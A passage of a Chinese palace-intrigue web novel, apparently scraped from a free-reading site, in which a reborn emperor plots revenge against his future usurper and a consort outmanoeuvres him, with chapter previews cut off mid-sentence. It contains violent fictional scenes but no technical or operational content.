李淳是怎么知道的?说起来还得多谢李玄璋。 前世李玄璋谋权篡位,将他拉下皇位后,并没有杀了他,而是拆了他的骨头,削了他的四肢,将他缝进一张狗皮里,将他当成狗一样拴在柱子上。 让他像狗一样趴在地上舔食。 他每天都过得痛苦不堪,生不如死。 李玄璋却偏偏不让他死,让人用名贵药材吊着他一口气。 就这样,他在李玄璋身边当了数年的狗。 当狗也不是一点好处也没有,因为李玄璋压根儿就不把他当人看,也自信他逃脱不了他的手掌心,所以做什么都不避着他,他因此获悉了不少秘密。 但是李玄璋绝不会想到,他有朝一日会重生!回到一切都还没开始的时候! 如今,他在暗,还知道李玄璋的许多秘密,知道他未来会网罗哪些人才,知道哪些狗奴才会被他收买为他所用……也知道,在他面前娇滴滴的丽嫔,原来是个江湖女子,不止轻功高超,还会一手精妙的易容术。 这一世,他倒要看看,李玄璋怎么跟他斗! 上一世他所遭受的种种痛苦和屈辱,这一世他要千百倍地还给李玄璋! 想着这些,李淳的情绪又失控了,唰的一下将手里的飞镖射了出去。 飞镖深深扎进柱子里,尾端挂着的红缨颤动不止。 丽嫔吓了一跳,皇帝这是疯了不成? 怎么突然变得杀气腾腾的? 她进宫来是为了当宠妃,好叫皇帝帮她找到家人的,可不是送命来的。 要是皇帝这么疯癫的话,那她可得考虑要不要跑路了。 “怎么不说话?被朕说中心虚了?” 李淳走过来,从柱子上抽-出飞镖,来到丽嫔面前,用飞镖挑起她的下巴。 被尖锐森冷的飞镖抵着要害,丽嫔后背一寒,鸡皮疙瘩纷纷起立。 “皇上恕罪,臣妾进宫前确实在江湖上闯下了一点名头,不过那都是以前的事了,如今臣妾是皇上的女人,心里除了皇上之外,再无别人了。” 李淳哈哈一笑,收起飞镖,将丽嫔往怀里一揽,只是从前还觉得香软柔媚的娇躯,如今抱在怀里,内心却是毫无波澜。 当狗的那许多年,他的心早已冷硬如铁,这世间怕是再没有任何人能够触动他的心弦了。 “丽嫔,朕听说你精通易容,可是真的?” 丽嫔额角落下一滴汗,他连这个都知道? 她强自笑了笑,“皇上谬赞了,臣妾只是略通一二,勉强能够骗过一般人的眼睛。” 李淳捏住她的下巴,“丽嫔,朕有一件事想让你帮忙,你可愿意帮朕?” 丽嫔:“皇上说笑了,您有什么事只管吩咐臣妾就是了,臣妾哪里有不愿意的呢。” 李淳:“那就好,墨春,来,抬起脸来。” 墨春上前,抬起一张白皙清秀的脸庞来。 李淳:“丽嫔,将他易容成你的样子,做得到吗?” 丽嫔端详了墨春两眼,“臣妾愿意一试。” 李淳:“若你能圆满完成,朕就命人全天下张贴告示,帮你找到家人,达成心愿,若是完不成,你就……去地底下和你的家人团聚吧。” 丽嫔神情一凛,“是,臣妾定会让皇上满意。” 早在丽嫔来之前,李淳就将寝殿内的宫女内侍都遣下去了,只留下了一个墨春,这会儿偌大的殿内只有她们三人。 丽嫔在镜子前为墨春化妆易容,李淳则坐到榻上看书。 看着看着,他不禁走神了,视线落到了墨春身上。 前世那些人都将他当狗,唯独墨春依旧把他当人。 会在下雨时替他撑伞,在天冷时为他取暖,会用手捧着食物送到他面前…… 然那时他满心仇恨,即便面对唯一对他好的墨春,也满是戾气和攻击性,恨不得撕碎这个被李玄璋派来饲养他的狗奴才。 重生回来后,回忆起前世和墨春相处时的种种,他的心境已然发生了变化。 这个时候墨春还不是李玄璋的人,他为何不能将他变成自己的人呢? 前世李玄璋夺了他的皇位,他的尊严,他的健康……他的一切!这一世,他也要将李玄璋的东西都夺过来! 就从墨春开始。 “皇上,好了。”丽嫔的声音传来。 李淳从书中抬起头,便对上了墨春含羞带怯望过来的一双眸子。 此时的他,不仅换了一张脸,就连发饰衣裙也都装扮上了,从头到脚再无一丝先前那个小太监的影子,而完完全全变成了一个女人,一个和丽嫔一模一样的女人。 两人站在一块儿,犹如一对双生姐妹花。 但细瞧之下,两人的神韵气质又有所不同。 看着这样的墨春,李淳心中不由得涌起了一丝异样的情绪,仿佛有什么东西即将破土而出一般。 丽嫔站在一旁,见皇帝和墨春四目相对,两两相望,忽然觉得自己有点多余。 皇帝他该不会是有什么见不得人的癖好吧?比如,喜欢太监? 但又接受不了太监的身份,所以这才让自己把墨春易容成女人? 想到皇帝有可能对顶着自己脸的墨春这样那样,丽嫔就一阵恶寒。 “皇上,您觉得怎么样?” 李淳回过神来,意识到自己竟看着墨春出了神,神色微僵,点了点头:“不错,你的易容术实在出神入化,若非朕清楚墨春的脸是画出来的,还要以为你凭空冒出来一个双生姊妹呢。” 丽嫔掩嘴娇笑:“皇上说得臣妾脸都 7. 第7章 《穿成炮灰,干掉主角当女皇》全本免费阅读 “怎么样?丽嫔那边你派人保护她没?” 昨天从林鹤那里回来,姜念虞就将两人之间的对话告诉了李玄璋——虽然以他的耳力,他估计已经一字不落地听去了,但身为盟友,她还是得拿出一个坦诚的态度来嘛。 随后又让他派人保护丽嫔,也就是林鹤的妹妹。 当时李玄璋说会安排,是以她有此一问。 李玄璋:“保护?我哪里来的人手去保护她?” 姜念虞眨了眨眼,“你不是说你会安排吗?要是咱们不保护丽嫔的话,李淳又会拿她威胁林鹤,林鹤就不能为我作证了。” 李玄璋走到石桌边坐下,“太后已经将丽嫔召去她宫里了,让她陪着吃斋念佛,李淳的手伸不进太后宫里,丽嫔在里头很安全。” 姜念虞:“太后?你居然能指使得动太后?” 李玄璋:“姐姐,你未免也太看得起我了,我不过是冷宫里一个不受宠的公主而已,哪里能指使得动太后呢?我只是让我的朋友帮我在太后面前说了几句话。” 姜念虞:“什么话?” 李玄璋:“昨晚丽嫔在李淳寝殿待了一整晚。” 姜念虞琢磨了一下,恍然大悟:“哦我明白了,太后一心想让她的侄女,也就是淑妃当皇后,听说丽嫔这么得宠,她肯定急了,所以就把丽嫔召到她宫里去,让丽嫔陪着她吃斋念佛,这样丽嫔就没法再见到李淳了。” 她拍了拍李玄璋的肩膀,“蓁蓁,你真聪明,等我从冷宫里出去了,一定会好好报答你的。” 李玄璋瞥了眼她落在自己肩膀上的那只手:“姐姐可要说话算数哦。” 姜念虞:“那是当然。” * 时隔数日,石永竹再次带着两个小太监来到了冷宫。 上一次他是来宣旨的,这一次,是来传皇帝口谕的。 “朕今日与姜相一同审理德妃私通侍卫一案,去将德妃叫来吧。” 传完口谕,石永竹朝德妃做了个“请”的手势,“娘娘这便随咱家去吧。” 来到保和殿,姜念虞跨过高高的门槛,见到老爹姜丞相已经到了,正坐在左边第一张椅子上喝茶。 “臣妾见过皇上。” 李淳:“平身,赐座。” 姜赦一见到女儿,立马放下了茶杯,起身朝她走过去,“臣见过娘娘。” 他俯身行礼之际,姜念虞从他身上闻到了一股烧鸡的味道,鼻子翕动了两下,“爹,快起来,你是不是给我带烧鸡了?” 姜赦:“娘娘的鼻子真灵,臣是给您带了些吃的,用好几层油纸包着,放在怀里捂着,这会儿还热乎着呢。” 一面说着,一面从宽大的官服底下往外掏,足足掏出来了三个油纸包。 坐在案桌后的李淳:“难怪朕觉得今日姜相身形臃肿了许多,原来是在官服底下藏了这么多吃的,姜相是怕朕苛待了德妃不成?” 姜赦正要开口告罪,姜念虞小嘴就叭叭开始告状了。 “难道没有吗?那天当着我爹的面,皇上明明说要给我,给臣妾送吃食来,结果什么都没送来不说,还派人把冷宫给包围了,不准我踏出一步,将我当犯人似的关在里头,这分明是想饿死我啊!” 一边说一边伸手飞快将油纸包打开。 甜香扑鼻的红枣糕! 皮薄馅儿大的羊肉包子! 一整只红津津油汪汪的烧鸡! “爹啊,还是你疼我,不像皇上,连块糕点都舍不得给我吃。” 姜念虞扯下一只大鸡腿,啊呜一口就咬下去,塞得满嘴的肉,别提多满足了。 呜呜呜她都有多久没吃上肉了。 还是这么好吃的烧鸡! 这一整只都是她的!谁也别跟她抢! 姜赦看女儿那仿佛饿牢里放出来的吃相,心疼极了,他的宝贝女儿,在冷宫里过的是什么日子啊!居然饿成了这样! 转而对皇帝怒目而视:“皇上,您怎能如此虐待小女!” 李淳脸都绿了,听听,姜赦这个老东西,居然敢如此当面指责他! 别说他没对德妃怎么样,就算真的虐待德妃了,那又如何? 他是皇帝,而德妃不过是他后宫里的一个妃子而已,姜赦为了区区一个妃子怒斥他,这分明是不把他放在眼里! 毫无身为臣子的本分! “砰!”李淳怒拍桌案,“石永竹!狗奴才,给朕滚进来!” 石永竹心惊胆战地跑进来,滑跪到地上,以头抢地:“皇上,奴婢在。” 李淳:“朕先前是怎么吩咐你的?不是让你给德妃送吃食衣物过去吗?你竟敢阳奉阴违,害德妃在冷宫挨饿受冻,真是岂有此理!” 一口泼天大锅就这么压过来,石永竹眼前一黑,恨不得当场剖心以示清白。 然而这口大锅是皇帝扣过来的,他连辩白的机会都没有,只能含泪接下。 “皇上,奴婢错了,奴婢有罪!” 李淳一挥手:“拖下去,重打二十廷杖。” 正在啃第二只鸡腿的姜念虞听到这里,耳朵一下子就竖起来了。 重打二十廷杖?那石永竹岂不是要被打死了? 好哇!李淳这个狗东西原来是拿她当筏子,借题发挥,除掉石永竹! 姜念虞能让他得逞吗?那肯定不能。 她忙把嘴里的肉往下咽,但因为这具身体的嗓子眼太细,她又吃得太急,居然噎住了,噎得直翻白眼。 姜赦忙端了杯茶给她:“岁岁,快喝水,可别噎着了。” 姜念虞赶紧接过来,咕咚咕咚灌下半杯,终于赶在石永竹被拖出殿之前张开口了。 “慢着!” 李淳眼中闪过一抹不悦,“德妃莫不是想为这个狗奴才求情?” 姜念虞:“当然不是,皇上,这个狗奴才害得臣妾在冷宫里吃尽了苦头,仅仅只是打他二十廷杖,那也太便宜他了。” 李淳:“哦?那你是想?” 姜念虞正要开口,外头传来一声:“太后娘娘驾到——” 太后被淑妃搀扶着走了进来,姜念虞不得不将手里的包子放下,跟着老爹一块儿向太后行礼。 李淳作出孝顺模样来,亲自扶着太后落座,又接过宫女奉上的茶水,端给太后。 “母后怎么过来了?” 太后:“听说皇上今日要审德妃,我过来瞧瞧,皇上不会赶人吧?” 李淳:“母后愿意过来旁听,儿臣高兴还来不及,又怎么会赶人呢。” 这边皇帝和太后在扮演母慈子孝,那边姜念虞躲到姜相身后,拿起包子继续吃。 那包子快有她脸大,她两只手捧着库库一顿吃,吃得两颊鼓鼓,像一只极力往颊囊里藏东西的松鼠。 淑妃瞧 8. 第8章 《穿成炮灰,干掉主角当女皇》全本免费阅读 林鹤进了殿,跪在姜念虞斜后方的位置,“卑职参见皇上。” 李淳端起茶盏喝茶,发现茶盏中没水了,唤道:“袅袅,上茶。” 袅袅?! 林鹤震惊抬头,就见一名宫女端着茶盏走进来,将茶俸给皇帝。 那宫女,和丽嫔长得一模一样,准确来说,她就是丽嫔! 德妃不是说,袅袅待在太后宫里吗?为何又出现在了这里? 姜念虞也很懵逼,本该待在太后宫里的丽嫔,却出现在了李淳身边,明显是被他控制住了,这样一来,林鹤还怎么敢揭发李淳啊? 丽嫔扮成的宫女给李淳上了茶后,并未退下,而是侍立在了李淳身后,低眉顺眼,犹如一幅安静的美人画。 心里却是腹诽个不停,也不知道皇帝葫芦里到底卖的什么药,先是让她将那个叫墨春的太监易容成她的模样,还让墨春顶替她的身份。 现在又让她扮成宫女给他奉茶,杵在这儿当摆件。 底下那个疑似和德妃私通的侍卫长得还怪俊的,瞧着也颇为面善,好像在哪里见过。 他为何要那样看着她?仿佛认识她一般。 李淳没有漏过林鹤看见丽嫔时的表情变化,还特意瞧了德妃一眼,却见她始终低垂着脑袋,倒是看不出什么来。 他从袖中拿出一枚鱼形玉佩,在手里把玩着,“林鹤,可是有人指使你诬陷德妃啊?” 林鹤看见那枚玉佩,嘴唇便绷成了一条直线,无法开口。 他和袅袅是双生兄妹,他只比袅袅大一刻钟。 在她们一岁抓周时,他抓中了一枚双鱼佩——由两枚独立的玉鱼组成,同时也可以嵌合在一起,组成一条新的玉鱼。 袅袅也想要,于是娘亲将玉佩分开,将两枚玉鱼各自给她们戴上。 原本经常生病的袅袅戴上玉佩后,竟很少再生病了,于是娘亲嘱咐袅袅要一直戴着,不得摘下来。 他便也陪妹妹一直戴着玉佩,这么多年从未离身。 他的那枚玉鱼正贴着他的胸口,袅袅的那枚,怎么会落到皇帝手里? 皇帝把玩着袅袅的玉佩,分明是借此警告他——你妹妹的命在我手里捏着,你若是敢供出我,后果自负。 供出皇帝,袅袅性命不保,可若是承认与德妃私通,那就是置德妃于死地。 一时之间,林鹤陷入了两难之境。 就在这时,一只黑猫跑进了殿里,上蹿下跳,酷酷炫跑。 对猫毛过敏的太后顿时慌了,“哪里来的猫?快赶出去!赶出去!” 殿里的宫女太监纷纷来抓猫。 一道粉色的身影跟着跑了进来,“坏猫!快把我的香囊还给我——” 赫然是李玄璋。 此时的他,仿佛是个智障儿童,行为举止一派“天真烂漫”。 原本李淳还坐在上面看戏,见太后被一只猫吓得脸色大变,他心里止不住的幸灾乐祸。 然而李玄璋出现的那一刻,他顿时就被吓得面无人色,浑身僵硬。 重生也有些日子了,纵然心里恨毒了李玄璋,他却一次也没去见他。 因为李玄璋就是他的噩梦。 他不得不承认,自己恨极了李玄璋的同时,也怕极了他。 他不敢见到他那张脸。 然而此时此刻,他就这么突然闯了进来,出现在了他面前。 着实令他猝不及防。 他像是陷入了一场白日梦魇——前世的某天晚上,他正与某个新进宫的年轻妃子在寝殿里寻欢作乐,殿门轰然作响,被从外面破开,紧接着李玄璋带着一群凶神恶煞的玄甲士兵闯了进来。 他被两个士兵像拖野狗一样从龙床上拖了下来。 紧接着一道寒芒从眼前闪过,他被当众阉割了。 那剧烈的尖锐的疼痛,仿佛穿过时空,如附骨之疽一样作用于他现在的身体。 李淳面色扭曲,冷汗直流。 “皇上?” 丽嫔见他鬼上身似的一阵抽搐,弓着身子捂着下身,瞧着怪瘆人的,不由得唤了一声。 这一声呼唤,将李淳的魂灵拉进了身体里,回归了现实。 他的瞳孔逐渐聚焦,看清了眼前的情形。 一群人追着一只玄猫跑,里头混着一道粉色的身影,殿内一片兵荒马乱。 那是李玄璋,尚在蛰伏期男扮女装装疯卖傻的李玄璋,这会儿的他,还是个冷宫“公主”。 成日里跟一群太监宫女混在一起。 是了,他现在重生了,不再是李玄璋的狗了! 他是大齐的皇帝,是这天下之主! “来人!紧闭门窗,将这一人一猫抓起来!” 外头冲进来一队侍卫,将门窗都关上了。 没多久,李玄璋和玄猫都被侍卫抓住了。 李淳盯着落入侍卫手里的李玄璋和他的那只猫,眼神阴冷得像恶鬼,“拖下去,关起来。” 一人一猫被拖下去了,门窗打开,阳光再次涌入,一场突如其来的闹剧结束了。 审讯继续。 跪在地上的林鹤开口了:“回皇上,是淑妃指使卑职诬陷德妃。” 太后原本拿帕子捂着口鼻,闻言一甩帕子,“放肆!淑妃怎么可能让你诬陷德妃?” 她对自己侄女的性子还不了解吗? 要是淑妃真能做出这种事儿来,那她倒要烧高香了。 林鹤:“卑职有证据。” 从怀中拿出来一根明晃晃金灿灿的簪子来,双手高举过头顶。 “这是淑妃交给卑职的,作为卑职诬陷德妃的报酬。” 就在刚刚,他陷入两难境地时,蓁蓁公主跑了进来,经过他身边时,趁乱将这根簪子塞给了他,同时在他耳边说了“淑妃”二字。 他立时便懂了她的意思。 太后定睛一看,那不是她前几日给了淑妃的那根金凤簪吗? 怎么会到了这个侍卫手里? 李淳看了丽嫔一眼。 丽嫔会意,走下来,将簪子接过来,呈给皇帝。 李淳捏着簪子,看到了上头内务府的标记,“当真是巧夺天工,淑妃,这根金凤簪,可是你的?” 太后抢先道:“金凤簪是内务府孝敬我的,怎么会是淑妃的?” 李淳:“淑妃,你来说。” 淑妃:“五日前,太后娘娘将这根金凤簪赏给了嫔妾。” 太后恨铁不成钢,这个侄女,未免也太老实了,皇帝一问她就说,真是气死她了。 “哦,我想起来了,前几天的确将簪子给了淑妃,人老了,记性也变差了,还望皇上不要怪罪。 “不过,此人私通德妃在前,我赐淑妃簪子在后,这根簪子,无论如何也成不了淑妃指使侍卫的证据啊,皇上说是吧?” 太后正跟皇帝据理力争呢,却不想淑妃忽然起身,走到殿中央,跪了下来,主动承认道:“皇上,嫔妾有罪,这个侍 9. 第9章 《穿成炮灰,干掉主角当女皇》全本免费阅读 太后气咻咻地来到柔福宫,质问淑妃,哦不对,现在是淑嫔了。 “湛芳,你实在是太令我失望了!你到底怎么想的,啊?没做过的事你为何要上赶着承认?你有没有想过这样做的后果? “位份被降容易,再想往上升可就难了!你还被禁足半年,半年一过,等你出来,这后宫的天早就变了,你是彻底与后位无缘了!你不止害了你自己,还害了昌儿!” 和太后的怒形于色比起来,淑嫔平静得近乎冷漠。 她亲手奉给太后一杯茶,柔声道:“姑母,您别生气,我便是不顾自己,也万不会不顾昌儿,我之所以这样做,恰恰是为了昌儿。” 太后没接她奉来的茶盏,“你还说是为了昌儿?行,你说说看,我倒要听听你能说出个什么花儿来。” 淑嫔将茶盏放到一边,“姑母,那侍卫出其不意地拿出金凤簪来,可见其背后的人神通广大,能悄无声息地将金凤簪从我这里盗走,此举不仅是指认我,更是对我的一种警告,这一次是金凤簪,下一次,他若拿出来的是我的贴身之物呢?” 太后神情一震,顺着她的话一想,心下便一阵后怕。 淑嫔:“若这次我不主动认罪,那下一次,等着我的就是与侍卫私通的罪名了。在这宫里,最有可能登上后位的,就是我和德妃,而幕后之人一出手就是一石二鸟之计,想将我和德妃一网打尽。 “即便我不承认,幕后之人肯定还有后招等着我,到最后罪名还是会落到我头上,我不如索性承认了,这样皇上还能看在我主动认罪的份上,从轻发落,现在这个结果,已经是最好的了。 “如今我看似受到了责罚,实则是远离了漩涡中心,正如您所说,我已经与后位无缘,但正因如此,幕后之人反而不会再对我出手了。 “有我这么一位与后位无缘的母妃,昌儿反而变得安全了,不然幕后之人很可能会对他出手。” 太后:“她敢!” 话虽如此,太后还是把淑嫔的话听进去了,“你说的倒也不无道理,接下来你就安心待在宫里,韬光养晦吧,昌儿我替你看护着,那幕后之人,我定要给她揪出来!” 回到慈宁宫,太后将“德妃私通侍卫”这件事前前后后想了一遍,忽然有了个猜测,说与身旁侍奉的黄鹂听:“你说,这幕后之人有没有可能是德妃她自己? “你看啊,最后德妃啥事儿也没有,还住进了未央宫,成了后位待选人,反倒是我那傻侄女被降了位份,禁了足,怎么看都是德妃获益最大,我觉得她着实可疑。” 黄鹂:“主子,不能吧?要不是德妃死而复生,她这会儿已经没了,她总不至于拿自己的名声和性命来做局吧?” 太后:“也是,那你说这幕后之人到底是谁?” 黄鹂:“奴婢也说不准,反正不可能是皇上。” 说者无心,听者有意,太后神情一动,顺着原先的发展往下一想,惊觉这事儿没准真有可能是皇帝干的! 德妃之死只是个引子,是为了拖淑妃下水,到时候姜相知道是淑妃害死了德妃,能放过她们杨家? 受到姜家的攻击,她们杨家也不可能老实挨打吧,肯定会反击。 如此一来,姜、杨两家就会打得不可开交,皇帝就能稳坐钓鱼台,坐收渔翁之利! 太后越想越觉得是这么回事,心头不禁掀起了惊涛骇浪。 难道皇帝的骄奢淫逸、纵情享乐都是假的?只是为了骗过众人,好让人对他放松警惕? 真正的他,其实心机深沉、心狠手辣,一直在暗中筹谋着除掉她们这些世家门阀,好大权独揽,君临天下! 好一个李淳,这份心性、演技,着实令她这个母后心惊。 好在她现在已经看穿了他! “黄鹂,让人仔细盯着皇帝,保和殿那边一有什么异动,立刻来报。” 黄鹂:“是,主子。” 太后:“还有德妃那边,她不是搬进了未央宫吗?你趁机塞两个人进去。” 未央宫。 搬进这座新宫殿后,姜念虞做的第一件事就是当众处决石永竹。 宽敞的院子中央,架着一口大锅,锅底下烧着柴禾,锅中贮满了油。 在烈火的持续燃烧下,锅中的油很快就沸腾了。 姜念虞下令,让阖宫上下的人都来观刑,所以这会儿油锅周围里三层外三层地围了好几圈人。 众人纷纷议论着。 “这油锅看着忒吓人,娘娘真要将石公公丢进油锅里活活烹死啊?” “这法子是残忍了些,但谁叫石永竹活该呢。皇上派他给娘娘送吃食衣物,他倒好,阳奉阴违,差点害死了咱们娘娘。” “以后咱们当差得更加小心了,不然开罪了娘娘,下场估计不比石永竹好多少。” 殿前台阶上,姜念虞稳稳地坐在软榻上,旁边的四方矮桌上摆着两只果盘,两碟新鲜出炉的糕点,一只八宝梅花点心攒盒,盒子里有十几个小格子,放着蜜饯、果干、冬瓜糖、粽子糖等数样零食。 左边的侍女用象牙签子叉着剔了核的樱桃送到她嘴边。 那樱桃个大饱满,水灵灵红艳艳,一口咬下去,清甜的汁-水溢满口腔,姜念虞简直不要太爱,一口一个吃得停不下来。 右边的侍女将甜瓜子剥开,瓜子肉放在小碟子里,等积累够了,姜念虞就端起碟子一整个倒进嘴里。 满口的瓜子,一口咬下去,爆香! 她自个手里还端着一碗银耳莲子羹,甜羹炖得软烂黏-稠,丝滑如蜜,喝一口,满满的幸福。 然而她这副笑眯眯享用美食的模样,落在众人眼里,更让人觉得她可怕了。 “石公公马上就要被下入油锅了,娘娘居然还能乐呵呵地吃着甜羹点心,真是心狠啊。” “嘘!你不要命了,这种话都敢说。” 一碗甜羹见底,姜念虞连碗底的残余也没放过,将碗底刮得干干净净。 身旁的两个侍女见了,对视一眼,对娘娘愈发心疼了。 瞧瞧,娘娘如今居然学会刮碗底了,可见在冷宫里的那些天着实是饿坏了。 石永竹真是该死! 底下一个小太监来报:“娘娘,油锅已经煮开。” 姜念虞:“嗯,行刑。” 石永竹被押到油锅前,看着那近在咫尺沸腾着的油锅,他心里一阵没底。 在此之前,德妃娘娘私下里交代了他几句话,说不会真的将他下入油锅烹死,只是当众做一场戏,到时候他得卖力配合一下。 他自是感激涕零,满口答应。 然真 10. 第10章 《穿成炮灰,干掉主角当女皇》全本免费阅读 听说了未央宫的事后,李淳当场破防了。 他竟然被德妃这个女人给耍了! 说什么重打石永竹二十廷杖太过便宜了他,要将他下入油锅活活烹死,结果她倒好,一番操作,最后竟是让石永竹完好无损地活了下来,还重用了他! 李淳狠狠将手边的茶盏摔了出去。 他现在无比确定,德妃已经跟李玄璋勾搭在一起了,这才会想方设法地替他保下他的人。 这个贱人!身为他的妃子,竟敢背叛他! 她是觉得李玄璋比他强,会成为最后的嬴家吗? 那她真是大错特错了。 他几乎知道李玄璋的所有底牌,又是皇帝,而李玄璋呢,现在不过是个毫无存在感的冷宫公主,上辈子他之所以会输得那样惨,不过是因为从没将李玄璋放在眼里罢了,这一世,他倒要看看,李玄璋拿什么来跟他斗! 李淳出了书房,去了保和殿后面的一间空屋,这里被当做了临时关押李玄璋的牢房。 昨日李玄璋和他那只猫闯进保和殿,他命人将他们抓住关了起来,但害怕自己看见李玄璋那张脸又陷入噩梦,所以昨天他没敢过来。 但是现在,他心里堵着一股气,迫不及待要拿他宣泄一番了。 李玄璋,我们之间的生死交锋,就从今日正式开始吧! 屋内,一束阳光斜射进来,无数细小的微尘在光柱里打着旋。 李玄璋被绑在柱子上,脑袋低垂着,似乎睡着了,凑近了还能听到细微的呼噜声。 玄猫被关在旁边的笼子里,也在趴着睡觉,看起来分外安逸。 李淳进来看到这一幕,直接气笑了,这主宠两个,还真是嚣张放肆得很哪! 把他这里当成什么地儿了? 竟双双睡起了大觉! 昨晚他可是失眠了一整夜!即便偶有睡意,想到李玄璋那张脸,也会被吓醒。 想到这里,李淳就满身怨气,“拿鞭子来。” 内侍递上来了一柄带着倒刺的鞭子,李淳对着空气狠狠挥舞了几下,清脆的破空声将正在睡觉的主宠两个吵醒了。 玄猫漫不经心瞥了一眼,又将脑袋埋了下去,继续睡大觉。 李玄璋抬起头,目光落在李淳身上。 原本甩鞭子甩得正起劲的李淳,顿时浑身一僵,鞭子一不小心甩到了自己身上。 火辣辣的疼痛让他愤怒又羞耻,想照着李玄璋狠抽过去,手却像是被什么东西给禁锢住了一样,怎么都抬不起来。 这让他意识到,他对李玄璋的恐惧,依然深深烙印在心里,一时半会儿根本消除不了。 但认识到这一点后,他反而奇异地平静了下来。 他动不了手,有的是人替他动手。 “墨春,蓁蓁公主昨日擅闯保和殿,朕这个当兄长的不与他计较,但若是放任不管,以后他在更大的场合闹出乱子来,那整个皇室都要跟着丢脸了。 “所以朕不得不给他点教训,你来替朕鞭笞他,务必要让他记住这次教训,以后不会再犯。” 已经从太后宫里出来,回到皇帝身边,恢复了内侍身份的墨春上前接过鞭子,走到蓁蓁公主面前,满脸歉疚不忍:“殿下,奴婢得罪了。” 迟疑着扬起鞭子,打了他一下。 这一下毫无力道,李玄璋心底嗤笑一声,面上却是说哭就哭,“好疼!皇兄,你为何要打蓁蓁?蓁蓁哪里做错了吗?求求皇兄,不要再打蓁蓁了,蓁蓁下次不敢了……” 他哭得梨花带雨,可怜极了。 墨春顿时不敢再打了,生怕把这位公主殿下打坏了。 虽说蓁蓁公主不受宠,但再不受宠,也是公主啊,岂是他一个阉人能冒犯的? 他朝皇帝投去了求救问询的眼神。 李淳上前握住墨春拿着鞭子的手,站在他身后,高大的身形将他完全笼罩了起来,仿佛一面坚实的后盾。 墨春垂下了眸子,脸上一阵发烫。 “别怕,你是朕的人,而他,只不过是个低贱的杂种罢了,就和他养的那只畜生一样。” 李淳在墨春耳边说,声音却不小,足以让对面的李玄璋也听见。 事实上,他这话,就是故意说给李玄璋听的。 李玄璋似乎听不懂,泪眼朦胧、表情懵懂地看着两人,心里却是啧啧两声。 李淳这个完蛋玩意儿,竟然跟太监搅和在了一起,若是地底下的毛贵妃知道了,怕是要气得掀开棺材板了。 早知如此,他就不那么早把毛贵妃弄死了。 这样也能看到母子俩因为一个小太监而闹得不可开交,那个场面想必一定会很好看。 不过话又说回来,李淳看他的眼神,为何藏着那么深的恨意? 恨意之中,还夹杂着恐惧与忌惮。 这倒是有趣了。 李淳握着墨春的手,朝李玄璋狠狠鞭笞过去。 看似是他成了墨春的后盾,其实是墨春给予了他支撑,让他有勇气朝李玄璋这个恶魔挥出鞭子。 当那一鞭子落在李玄璋身上,打得他皮开肉绽时,李淳感觉自己心底的枷锁,似乎也跟着裂开、脱落了。 李玄璋加诸于他的阴影,也跟着消退了。 李淳感受到了久违的畅快和喜悦,一鞭又一鞭朝着李玄璋挥舞过去,越打越起劲。 而李玄璋从一开始的哭泣求饶,到后面连痛叫声也发不出来了,低垂着脑袋,头发覆盖下来,一身粉色的衣裙被抽打得支离破碎,看上去像一个破碎的娃娃。 墨春一阵心惊,皇上这是怎么了?怎么疯了一般地鞭笞蓁蓁公主? 蓁蓁公主不会被他们打死了吧? 和墨春不同,看到李玄璋满身的凌乱伤痕,李淳心中的兴奋达到了顶点,表情近乎癫狂。 如同久饿之人见到了一桌满汉全席,濒死之人服下了一颗灵丹妙药,失明之人突然见到了光明…… 之前种种的障碍,一瞬间都不存在了。 长久以来被压抑的欲-望,一朝复苏了。 感受到身后皇上的身体变化,墨春脸色爆红,一动不敢动。 李淳也有些尴尬,僵立了一会儿,冷着脸说了句“朕去去就来,你继续”,松开墨春的手,火速回到寝殿,随手指了一个宫女,“过来服侍朕。” 宫女听话 11. 第11章 《穿成炮灰,干掉主角当女皇》全本免费阅读 未央宫。 任命石永竹为内侍总管后,姜念虞就将宫里的一应事务都丢给了他,自己专心吃喝。 不过她也不是一点正事也没做。 她指着给她喂樱桃的侍女说:“从今日起,你叫春樱。” 又指着给她剥甜瓜子的侍女说:“你叫夏桃。” 夏桃嘟了嘟嘴,不是很情愿:“娘娘,我还是更喜欢原来的名字。” 姜念虞:“你原先叫什么?” 夏桃睁大了眼睛,“娘娘,我原来的名字还是您给起的呢,您竟然忘了?” 姜念虞理直气壮道:“你也知道我被皇帝赐死过,我的魂魄到地府去走了一遭,回来后从前的许多事就记得不大清楚了。” 夏桃顿时自责不已,不再抗议新名字了,“好,从今日起我就叫夏桃了,其实叫什么不重要,只要娘娘还记得我就好。” 姜念虞深以为然:“不错。” 其实名字还是很重要的,比如春樱——春天的樱桃,夏桃——夏天的桃子,都是她喜欢吃的水果。 不过她夏天最喜欢吃的其实是西瓜,但她总不能叫人“夏瓜”吧?那样夏桃更得抗议了。 春樱体贴道:“娘娘,您记性变差,估计是神魂不稳的缘故,我去给您熬一碗宁神汤吧。” 姜念虞问:“宁神汤好喝吗?” 春樱被她问住了,宁神汤是药汤,药哪里有好喝的呀。 只得道:“我尽量给您熬得好喝点儿。” 姜念虞于是对宁神汤期待起来,“去吧。” 夏桃见她嘴巴一刻没停,劝道:“娘娘,我知道您在冷宫里被饿怕了,但是您也不能这么个吃法儿呀,这样要不了几天,您新做的裙子恐怕就要穿不下啦。” 姜念虞:“那我起来活动活动。” 把肚子空出来,就能吃下更多东西啦。 她站起来扭腰踢腿,伸展手臂,做扩胸运动。 终于将宫内事务勉强理顺的石永竹走了进来,手上端着一碟蜜渍青杏。 “娘娘,奴才得了一碟青杏,斗胆替娘娘尝了一颗,味道着实不错,所以立马就拿来孝敬娘娘您了。” 姜念虞拿了一颗吃了,酸酸甜甜,真好吃。 又拿了一颗。 夏桃在一旁瞪了石永竹一眼,上前来将碟子接了过去,“娘娘,这东西容易酸牙,吃多了您中午就吃不下饭了,剩下的我帮您收起来,您明儿再吃。” 姜念虞眼睁睁看着夏桃端着碟子走了,一颗也不给她留,只好嗦了嗦手指。 石永竹看着娘娘这般,顿生怜爱。 娘娘真跟小孩儿似的,蜜渍青杏这等东西也能叫她吃得津津有味,依依不舍。 当即发誓,以后定要多弄来好吃的孝敬娘娘。 姜念虞背着夏桃悄悄问石永竹:“这蜜渍青杏你是哪里来的?” 石永竹凑近了些,也悄声答:“这是小禄子孝敬奴婢的。小禄子就是先前押着奴婢到油锅前,还踢了奴婢一脚的那个内侍。 “奴婢被娘娘任命为总管后,底下一干小子丫头就都抢着来讨好奴婢,尤其是小禄子,他怕奴婢伺机报复他,所以对奴婢格外殷勤,将自个儿攒下的银子物件儿都拿来送给了奴婢,还抱来了一罐子他自个儿做的蜜渍青杏。 